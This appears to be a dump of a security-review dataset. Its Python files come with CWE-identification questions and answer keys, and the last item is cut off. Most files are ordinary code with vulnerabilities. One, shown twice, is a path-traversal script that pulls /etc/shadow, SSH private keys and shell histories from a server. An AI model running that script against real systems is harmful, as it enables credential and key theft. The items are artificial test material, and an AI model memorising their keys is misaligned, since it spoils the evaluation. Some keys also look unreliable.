OctoReasoner/verl_codeql1_aggressive_filtered huggingface dataset:
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
"""
    Manage the wasisdk.
"""

import sys, os, tarfile, shutil
from mod import log, util

if sys.version_info[0] >= 3:
    from urllib.request import urlretrieve
else:
    from urllib import urlretrieve

dir_name = 'wasi-sdk-14.0'

urls = {
    'linux': 'https://github.com/WebAssembly/wasi-sdk/releases/download/wasi-sdk-14/wasi-sdk-14.0-linux.tar.gz',
    'osx':   'https://github.com/WebAssembly/wasi-sdk/releases/download/wasi-sdk-14/wasi-sdk-14.0-macos.tar.gz',
    'win':   'https://github.com/WebAssembly/wasi-sdk/releases/download/wasi-sdk-14/wasi-sdk-14.0-mingw.tar.gz'
}

def get_sdk_dir(fips_dir):
    return util.get_workspace_dir(fips_dir) + '/fips-sdks/wasisdk'

def check_exists(fips_dir):
    return os.path.isdir(get_sdk_dir(fips_dir))

def get_url():
    return urls[util.get_host_platform()]

def get_archive_path(fips_dir):
    return get_sdk_dir(fips_dir) + '/' + os.path.basename(get_url())

def get_wasisdk_root(fips_dir):
    return get_sdk_dir(fips_dir) + '/' + dir_name 

def sdk_dir_exists(fips_dir):
    return os.path.isdir(get_sdk_dir(fips_dir))

def ensure_sdk_dirs(fips_dir) :
    if not sdk_dir_exists(fips_dir):
        os.makedirs(get_sdk_dir(fips_dir))

def install(fips_dir):
    log.colored(log.YELLOW, '=== installing WASI SDK:')
    ensure_sdk_dirs(fips_dir)
    sdk_url = get_url()
    archive_path = get_archive_path(fips_dir)
    log.info("downloading '{}'...".format(sdk_url))
    urlretrieve(sdk_url, archive_path, util.url_download_hook)
    log.info("\nunpacking '{}'...".format(archive_path))
    with tarfile.open(archive_path, "r:gz") as tar:
        tar.extractall(path = get_sdk_dir(fips_dir))

def uninstall(fips_dir):
    log.colored(log.YELLOW, "=== uninstalling WASI SDK")
    if sdk_dir_exists(fips_dir):
        sdk_dir = get_sdk_dir(fips_dir)
        if util.confirm(log.RED + "Delete directory '{}?".format(sdk_dir) + log.DEF):
            log.info("Deleting '{}'...".format(sdk_dir))
            shutil.rmtree(sdk_dir)
        else:
            log.info("'No' selected, nothing deleted")
    else:
        log.warn("WASI SDK is not installed, nothing to do")

```

Which of the following functions or classes contains a `CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')` vulnerability?

  A) ensure_sdk_dirs
  B) check_exists
  C) uninstall
  D) install
Answer: D
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import db

def main():
    userName = ''
    password = ''

    # capture username 
    while userName == '':
        userName = input('Enter your username:')

    # capture password
    while password == '':
        password = input('Enter your password:')

    # create a database connection
    conn = db.create_connection()
    with conn:
        print('Trying to login... with ' + userName +  password)
        db.login_user(conn, userName, password)

if __name__ == '__main__':
    main()
```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
  B) CWE-116: Improper Encoding or Escaping of Output
  C) CWE-312: Cleartext Storage of Sensitive Information
  D) CWE-295: Improper Certificate Validation
  E) CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
  F) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python3

import waiting
import requests

import utils
import deployment_options

SERVICE = "assisted-service"
TIMEOUT = 60 * 15
REQUEST_TIMEOUT = 2
SLEEP = 3


def handle_arguments():
    return deployment_options.load_deployment_options()


def wait_for_request(url: str) -> bool:
    res = requests.get(url, timeout=REQUEST_TIMEOUT, verify=False)

    print(url, res.status_code)
    return res.status_code == 200


def main():
    deploy_options = handle_arguments()

    service_url = utils.get_service_url(service=SERVICE, target=deploy_options.target, domain=deploy_options.domain,
                                        namespace=deploy_options.namespace, profile=deploy_options.profile,
                                        disable_tls=deploy_options.disable_tls)
    health_url = f'{service_url}/ready'

    print(f'Wait for {health_url}')
    waiting.wait(lambda: wait_for_request(health_url),
                 timeout_seconds=TIMEOUT,
                 expected_exceptions=(requests.exceptions.ConnectionError, requests.exceptions.ReadTimeout),
                 sleep_seconds=SLEEP, waiting_for="assisted-service to be healthy")


if __name__ == '__main__':
    main()

```

Name the function or class in this code that contains a `CWE-295: Improper Certificate Validation` vulnerability.
Answer: wait_for_request
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
#coding=utf8
import requests
import os

'''
通过mysql的配置文件得知了数据的存储目录。通过直接读取数据库文件可以获取到数据库内的信息。
'''

linux_path_from_root = '''/etc/shadow
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/hosts
/etc/my.cnf
/proc/self/cmdline
/proc/self/environ
/proc/verison
/proc/self/cwd
/proc/net/arp
/proc/sched_debug
/proc/self/fd/0
/proc/self/fd/1
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
'''.strip().split('\n')

linux_path_from_user_home = '''.viminfo
.bash_history
.mysql_history
.ssh/authorized_keys
.ssh/id_rsa
.ssh/config
.ssh/known_hosts
.zsh_history
'''.strip().split('\n')

linux_useres = []

def parse_etc_passwd(path):
	users = []
	with open(path, 'r') as f:
		data = f.read()
	lines = data.split("\n")
	lines = filter(lambda x:not x.strip().startswith("#"), lines)
	lines = filter(lambda x:'/home/' in x and ('/bin/bash' in x or '/bin/sh' in x or '/bin/zsh' in x), lines)
	for l in lines:
		users.append(l.split(':')[0])
	return users

print parse_etc_passwd('/etc/passwd')


def download(path):
	if not os.path.exists('output'):
		os.mkdir('output')
	url = "http://127.0.0.1/?path=../../.." + path
	response = requests.get(url)
	if response.status_code == 200:
	    with open("output" + os.sep + path.strip('/').replace('/', '_'), 'wb') as f:
	        f.write(response.content)
	return response.text

def linux_exploit():
	data = download('/etc/passwd')
	users = parse_etc_passwd(data)
	for p in linux_path_from_root:
		download(p)
	user_home = ['/home/'+u+'/' for u in users]
	user_home.append('/root/')
	for u in user_home:
		for p in linux_path_from_user_home:
			download(u+p)







```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-117: Improper Output Neutralization for Logs
  B) CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
  C) CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service
  D) CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  E) CWE-502: Deserialization of Untrusted Data
  F) CWE-312: Cleartext Storage of Sensitive Information
Answer: F
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
#coding=utf8
import requests
import os

'''
通过mysql的配置文件得知了数据的存储目录。通过直接读取数据库文件可以获取到数据库内的信息。
'''

linux_path_from_root = '''/etc/shadow
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/hosts
/etc/my.cnf
/proc/self/cmdline
/proc/self/environ
/proc/verison
/proc/self/cwd
/proc/net/arp
/proc/sched_debug
/proc/self/fd/0
/proc/self/fd/1
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
'''.strip().split('\n')

linux_path_from_user_home = '''.viminfo
.bash_history
.mysql_history
.ssh/authorized_keys
.ssh/id_rsa
.ssh/config
.ssh/known_hosts
.zsh_history
'''.strip().split('\n')

linux_useres = []

def parse_etc_passwd(path):
	users = []
	with open(path, 'r') as f:
		data = f.read()
	lines = data.split("\n")
	lines = filter(lambda x:not x.strip().startswith("#"), lines)
	lines = filter(lambda x:'/home/' in x and ('/bin/bash' in x or '/bin/sh' in x or '/bin/zsh' in x), lines)
	for l in lines:
		users.append(l.split(':')[0])
	return users

print parse_etc_passwd('/etc/passwd')


def download(path):
	if not os.path.exists('output'):
		os.mkdir('output')
	url = "http://127.0.0.1/?path=../../.." + path
	response = requests.get(url)
	if response.status_code == 200:
	    with open("output" + os.sep + path.strip('/').replace('/', '_'), 'wb') as f:
	        f.write(response.content)
	return response.text

def linux_exploit():
	data = download('/etc/passwd')
	users = parse_etc_passwd(data)
	for p in linux_path_from_root:
		download(p)
	user_home = ['/home/'+u+'/' for u in users]
	user_home.append('/root/')
	for u in user_home:
		for p in linux_path_from_user_home:
			download(u+p)







```

Which of the following functions or classes contains a `CWE-312: Cleartext Storage of Sensitive Information` vulnerability?

  A) linux_exploit
  B) parse_etc_passwd
  C) download
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import re
from pprint import pprint

# comment_pattern = '\/comment(?:s)?(?:\/)?'
# comment_regex = re.compile(comment_pattern)

# url = 'http://boingboing.net/comments/feed'
# result = comment_regex.search(url)
# if result:
#     print(result.string)

# r = comment_regex.sub('/', url)
# print(r)

bracketNameRegex = re.compile('(?: *\w+ *)* *([\{\(\[\<]+(?: *\w+ *)*[\}\)\]\>]+)+ *(?: *\w+ *)*')

name = 'Mark hello test blash editor hello'

result = bracketNameRegex.search(name)
print(result)

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  B) CWE-312: Cleartext Storage of Sensitive Information
  C) CWE-1333: Inefficient Regular Expression Complexity
  D) CWE-116: Improper Encoding or Escaping of Output
  E) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  F) CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import asyncio
from bs4 import BeautifulSoup 
import requests, re
from io import BytesIO
from PIL import Image
async def download_image(link):
    return Image.open(BytesIO(requests.get(link).content)).convert("RGB")
async def parser_nuklir(nuklir):
    try:
        source=requests.get(f"https://nhentai.net/g/{nuklir}").text
        parsing=BeautifulSoup(source, 'html.parser')
        komik=[]
        for i in parsing.find_all('a',class_='gallerythumb'):
            if i('img'):
                komik.append(download_image('https://i'+i('img')[0]['data-src'][9:-5]+'.jpg'))
        z=await asyncio.gather(*komik)
        z[0].save(f"{parsing.title.text}.pdf", save_all=True, append_images=z[1:])
        return parsing.title.text+".pdf"
    except Exception as e:
        print(e)
        return False
def nsearch(query: str):
    doujin=[]
    req=requests.get("https://nhentai.net/search", params={"q":query}).text
    title=re.findall("\<\/noscript\>\<div class\=\"caption\"\>(.*?)\</div\>",req)
    nuklir=re.findall("href\=\"/g/([0-9]{5,6})/\"",req)
    thumb=re.findall("data\-src\=\"(https://t.nhentai.net/galleries/[0-9]{6,8}/thumb.jpg)\"",req)
    for i in enumerate(thumb):
        doujin.append({"title":title[i[0]],"thumbnail":i[1],"nuklir":nuklir[i[0]]})
    return doujin
```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
  B) CWE-1333: Inefficient Regular Expression Complexity
  C) CWE-377: Insecure Temporary File
  D) CWE-611: Improper Restriction of XML External Entity Reference
  E) CWE-20: Improper Input Validation
  F) CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
Answer: E
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
import asyncio
from bs4 import BeautifulSoup 
import requests, re
from io import BytesIO
from PIL import Image
async def download_image(link):
    return Image.open(BytesIO(requests.get(link).content)).convert("RGB")
async def parser_nuklir(nuklir):
    try:
        source=requests.get(f"https://nhentai.net/g/{nuklir}").text
        parsing=BeautifulSoup(source, 'html.parser')
        komik=[]
        for i in parsing.find_all('a',class_='gallerythumb'):
            if i('img'):
                komik.append(download_image('https://i'+i('img')[0]['data-src'][9:-5]+'.jpg'))
        z=await asyncio.gather(*komik)
        z[0].save(f"{parsing.title.text}.pdf", save_all=True, append_images=z[1:])
        return parsing.title.text+".pdf"
    except Exception as e:
        print(e)
        return False
def nsearch(query: str):
    doujin=[]
    req=requests.get("https://nhentai.net/search", params={"q":query}).text
    title=re.findall("\<\/noscript\>\<div class\=\"caption\"\>(.*?)\</div\>",req)
    nuklir=re.findall("href\=\"/g/([0-9]{5,6})/\"",req)
    thumb=re.findall("data\-src\=\"(https://t.nhentai.net/galleries/[0-9]{6,8}/thumb.jpg)\"",req)
    for i in enumerate(thumb):
        doujin.append({"title":title[i[0]],"thumbnail":i[1],"nuklir":nuklir[i[0]]})
    return doujin
```

Which of the following functions or classes contains a `CWE-20: Improper Input Validation` vulnerability?

  A) download_image
  B) parser_nuklir
  C) nsearch
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
import asyncio
from bs4 import BeautifulSoup 
import requests, re
from io import BytesIO
from PIL import Image
async def download_image(link):
    return Image.open(BytesIO(requests.get(link).content)).convert("RGB")
async def parser_nuklir(nuklir):
    try:
        source=requests.get(f"https://nhentai.net/g/{nuklir}").text
        parsing=BeautifulSoup(source, 'html.parser')
        komik=[]
        for i in parsing.find_all('a',class_='gallerythumb'):
            if i('img'):
                komik.append(download_image('https://i'+i('img')[0]['data-src'][9:-5]+'.jpg'))
        z=await asyncio.gather(*komik)
        z[0].save(f"{parsing.title.text}.pdf", save_all=True, append_images=z[1:])
        return parsing.title.text+".pdf"
    except Exception as e:
        print(e)
        return False
def nsearch(query: str):
    doujin=[]
    req=requests.get("https://nhentai.net/search", params={"q":query}).text
    title=re.findall("\<\/noscript\>\<div class\=\"caption\"\>(.*?)\</div\>",req)
    nuklir=re.findall("href\=\"/g/([0-9]{5,6})/\"",req)
    thumb=re.findall("data\-src\=\"(https://t.nhentai.net/galleries/[0-9]{6,8}/thumb.jpg)\"",req)
    for i in enumerate(thumb):
        doujin.append({"title":title[i[0]],"thumbnail":i[1],"nuklir":nuklir[i[0]]})
    return doujin
```

Name the function or class in this code that contains a `CWE-20: Improper Input Validation` vulnerability.
Answer: nsearch
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import hashlib
import shortuuid
from django.conf import settings
from provider.constants import EXPIRE_DELTA, EXPIRE_DELTA_PUBLIC, EXPIRE_CODE_DELTA

from django.utils import timezone


def now():
    return timezone.now()


def short_token():
    """
    Generate a hash that can be used as an application identifier
    """
    hash = hashlib.sha1(shortuuid.uuid().encode('utf8'))
    hash.update(settings.SECRET_KEY.encode('utf8'))
    return hash.hexdigest()[::2]


def long_token():
    """
    Generate a hash that can be used as an application secret
    """
    hash = hashlib.sha1(shortuuid.uuid().encode('utf8'))
    hash.update(settings.SECRET_KEY.encode('utf8'))
    return hash.hexdigest()


def get_token_expiry(public=True):
    """
    Return a datetime object indicating when an access token should expire.
    Can be customized by setting :attr:`settings.OAUTH_EXPIRE_DELTA` to a
    :attr:`datetime.timedelta` object.
    """
    if public:
        return now() + EXPIRE_DELTA_PUBLIC
    else:
        return now() + EXPIRE_DELTA


def get_code_expiry():
    """
    Return a datetime object indicating when an authorization code should
    expire.
    Can be customized by setting :attr:`settings.OAUTH_EXPIRE_CODE_DELTA` to a
    :attr:`datetime.timedelta` object.
    """
    return now() + EXPIRE_CODE_DELTA

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  B) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  C) CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  D) CWE-918: Server-Side Request Forgery (SSRF)
  E) CWE-377: Insecure Temporary File
  F) CWE-116: Improper Encoding or Escaping of Output
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
# Work with Python 3.6
import logging
import discord
import datetime
from environs import Env

from commands import wiki

import logging

logger = logging.getLogger('discord')
logger.setLevel(logging.WARNING)
handler = logging.FileHandler(filename='discord.log', encoding='utf-8', mode='w')
handler.setFormatter(logging.Formatter('%(asctime)s:%(levelname)s:%(name)s: %(message)s'))
logger.addHandler(handler)

env = Env()
env.read_env()

DEBUG = env.bool("DEBUG", False)
TOKEN = env("DISCORD_BOT_SECRET")

wiki_cmd = wiki.WikiCommands(listen_channel_id=env.int("DISCORD_LOOT_GRAB_CHANNEL"))

client = discord.Client()


@client.event
async def on_message(message):
    # we do not want the bot to reply to itself
    if message.author == client.user:
        return

    if message.content.startswith('!br'):
        msg = ':flag_br:Lokalny czas w Brazylii (UTC -3):\n```\n{}\n```'.format(
            (datetime.datetime.utcnow() - datetime.timedelta(hours=3)).strftime('%d/%m/%y %H:%M:%S')
        )
        await message.channel.send(msg)

    if message.content.startswith('!status'):
        await message.channel.send('Sprawdzanie statusu serwera zotało wyłączone.')

    # Wiki commands
    if (message.channel.id == wiki_cmd.channel_id) and ('pastebin.com' in message.content):
        try:
            wiki_cmd.add_to_loot(message.content)
            msg = 'Dzięki {0.author.mention}! Dane zostały zaktualizowane.'.format(message)
            await message.channel.send(msg)
        except Exception as e:
            if str(e) == 'InvalidLink':
                msg = '{0.author.mention} mordeczko, wkleiłeś niepoprawny link do pastebina :('.format(message)
                await message.channel.send(msg)
            else:
                logger.exception("Loot error")

        #
        # try:
        #     await message.delete()
        # except Exception:
        #     pass

    if message.content.startswith('!monster'):
        try:
            monster = wiki_cmd.get_monster_info(message.content)
            if isinstance(monster, str):
                await message.channel.send(monster)
            else:
                await message.channel.send(embed=monster)
        except Exception:
            logger.exception("!monster error")

    # DEBUG
    if DEBUG and message.content.startswith('!killme'):
        await client.logout()


@client.event
async def on_ready():
    print('Logged in as')
    print(client.user.name)
    print(client.user.id)
    print('------')

    await client.change_presence(activity=discord.Game(name='BloodStone Polska'))


client.run(TOKEN)

```

Name the function or class in this code that contains a `CWE-20: Improper Input Validation` vulnerability.
Answer: on_message
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
from flask import Flask, request, make_response, jsonify, abort, render_template
from produce.fill_queue import publish_to_queue
import os
import logging

logging.basicConfig(level=logging.DEBUG)

app = Flask(__name__)
app.debug = True


@app.errorhandler(404)
def not_found(error):
    return make_response(jsonify({'error': 'Not found'}), 404)


@app.route('/', methods=['GET', 'POST'])
def form_example():
    logging.warning(request)
    if request.method == 'POST':
        parameter_list = list()
        print("request" + str(request))

        parameters = request.form.get('parameters')
        print("parametersparametersparametersparameters" + str(parameters))
        parameter2 = request.args.get('parameters')
        print("parametersparametersparametersparameters" + str(parameter2))

        parameter_list.append(parameters)
        result = publish_to_queue(parameter_list)

        return '''<h1>The given parameters are added to the queue!</h1>'''

    if request.method == 'GET':
        return render_template("main.html")
    return abort(400)


if __name__ == '__main__':
    os.environ["FLASK_DEBUG"] = "1"
    app.run(debug=True, host='0.0.0.0', port=5000)

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-943: Improper Neutralization of Special Elements in Data Query Logic
  B) CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  C) CWE-117: Improper Output Neutralization for Logs
  D) CWE-215: Insertion of Sensitive Information Into Debugging Code
  E) CWE-295: Improper Certificate Validation
  F) CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
Answer: C,D
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
from flask import Flask, request, make_response, jsonify, abort, render_template
from produce.fill_queue import publish_to_queue
import os
import logging

logging.basicConfig(level=logging.DEBUG)

app = Flask(__name__)
app.debug = True


@app.errorhandler(404)
def not_found(error):
    return make_response(jsonify({'error': 'Not found'}), 404)


@app.route('/', methods=['GET', 'POST'])
def form_example():
    logging.warning(request)
    if request.method == 'POST':
        parameter_list = list()
        print("request" + str(request))

        parameters = request.form.get('parameters')
        print("parametersparametersparametersparameters" + str(parameters))
        parameter2 = request.args.get('parameters')
        print("parametersparametersparametersparameters" + str(parameter2))

        parameter_list.append(parameters)
        result = publish_to_queue(parameter_list)

        return '''<h1>The given parameters are added to the queue!</h1>'''

    if request.method == 'GET':
        return render_template("main.html")
    return abort(400)


if __name__ == '__main__':
    os.environ["FLASK_DEBUG"] = "1"
    app.run(debug=True, host='0.0.0.0', port=5000)

```

Which of the following functions or classes contains a `CWE-117: Improper Output Neutralization for Logs` vulnerability?

  A) not_found
  B) form_example
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
from flask import Flask, request, make_response, jsonify, abort, render_template
from produce.fill_queue import publish_to_queue
import os
import logging

logging.basicConfig(level=logging.DEBUG)

app = Flask(__name__)
app.debug = True


@app.errorhandler(404)
def not_found(error):
    return make_response(jsonify({'error': 'Not found'}), 404)


@app.route('/', methods=['GET', 'POST'])
def form_example():
    logging.warning(request)
    if request.method == 'POST':
        parameter_list = list()
        print("request" + str(request))

        parameters = request.form.get('parameters')
        print("parametersparametersparametersparameters" + str(parameters))
        parameter2 = request.args.get('parameters')
        print("parametersparametersparametersparameters" + str(parameter2))

        parameter_list.append(parameters)
        result = publish_to_queue(parameter_list)

        return '''<h1>The given parameters are added to the queue!</h1>'''

    if request.method == 'GET':
        return render_template("main.html")
    return abort(400)


if __name__ == '__main__':
    os.environ["FLASK_DEBUG"] = "1"
    app.run(debug=True, host='0.0.0.0', port=5000)

```

Name the function or class in this code that contains a `CWE-117: Improper Output Neutralization for Logs` vulnerability.
Answer: form_example
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2019/9/19 19:29
# @Author  : Lin Luo
# @Site    :
# @File    : login
# @Software: PyCharm
from flask import session
from sqlalchemy import and_
from hashlib import sha256

from application import db
from common.db_models.users import Users


class Authorization(object):
    @staticmethod
    def login_check(username, password):
        """
        用户登陆
        :param username: 用户名
        :param password: 用户密码
        :return:
        """
        info = db.session.query(Users).filter(
            and_(Users.username == username, Users.password == sha256(password.encode('utf-8')).hexdigest()),
            Users.is_del == 0).first()
        if info is None:
            return False
        else:
            session['admin_user_id'] = info.id
            session['admin_user'] = info.username
            session['role'] = info.role_id
            session['lang'] = 'ch'
            return True

    @staticmethod
    def logout():
        """
        用户登出
        :return:
        """
        session.clear()
        return True

```

Which of the following functions or classes contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability?

  A) login_check
  B) Authorization
  C) logout
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2019/9/19 19:29
# @Author  : Lin Luo
# @Site    :
# @File    : login
# @Software: PyCharm
from flask import session
from sqlalchemy import and_
from hashlib import sha256

from application import db
from common.db_models.users import Users


class Authorization(object):
    @staticmethod
    def login_check(username, password):
        """
        用户登陆
        :param username: 用户名
        :param password: 用户密码
        :return:
        """
        info = db.session.query(Users).filter(
            and_(Users.username == username, Users.password == sha256(password.encode('utf-8')).hexdigest()),
            Users.is_del == 0).first()
        if info is None:
            return False
        else:
            session['admin_user_id'] = info.id
            session['admin_user'] = info.username
            session['role'] = info.role_id
            session['lang'] = 'ch'
            return True

    @staticmethod
    def logout():
        """
        用户登出
        :return:
        """
        session.clear()
        return True

```

Name the function or class in this code that contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability.
Answer: login_check
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
import logging
from typing import Dict

from src.database import queries
from src.exceptions.exceptions import UnrecognizedEventOperation


def _get_user(message: Dict) -> Dict:
    return {
        'id': message.get('user_id'),
        'first_name': message.get('first_name'),
        'last_name': message.get('last_name'),
        'birth_date': message.get('birth_date'),
    }


def _handle_create_user(user: Dict):
    queries.create_user(user)


def _handle_update_user(user: Dict):
    queries.update_user(user.get('id'), user)


def _handle_delete_user(user: Dict):
    queries.delete_user(user.get('id'))


def handle_users_events(message: Dict):
    event_type: str = message.get('event_type')
    operation: str = message.get('operation')

    if event_type == 'users':
        if operation == 'create':
            user = _get_user(message)
            _handle_create_user(user)
            logging.info(f"user id={user.get('id')} created")
        elif operation == 'update':
            user = _get_user(message)
            _handle_update_user(user)
            logging.info(f"user id={user.get('id')} updated")
        elif operation == 'delete':
            user = _get_user(message)
            _handle_delete_user(user)
            logging.info(f"user id={user.get('id')} deleted")
        else:
            raise UnrecognizedEventOperation(operation)
    else:
        raise UnrecognizedEventOperation(event_type)

```

Which of the following functions or classes contains a `CWE-312: Cleartext Storage of Sensitive Information` vulnerability?

  A) _handle_delete_user
  B) _handle_create_user
  C) _handle_update_user
  D) handle_users_events
Answer: D
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
import logging
from typing import Dict

from src.database import queries
from src.exceptions.exceptions import UnrecognizedEventOperation


def _get_user(message: Dict) -> Dict:
    return {
        'id': message.get('user_id'),
        'first_name': message.get('first_name'),
        'last_name': message.get('last_name'),
        'birth_date': message.get('birth_date'),
    }


def _handle_create_user(user: Dict):
    queries.create_user(user)


def _handle_update_user(user: Dict):
    queries.update_user(user.get('id'), user)


def _handle_delete_user(user: Dict):
    queries.delete_user(user.get('id'))


def handle_users_events(message: Dict):
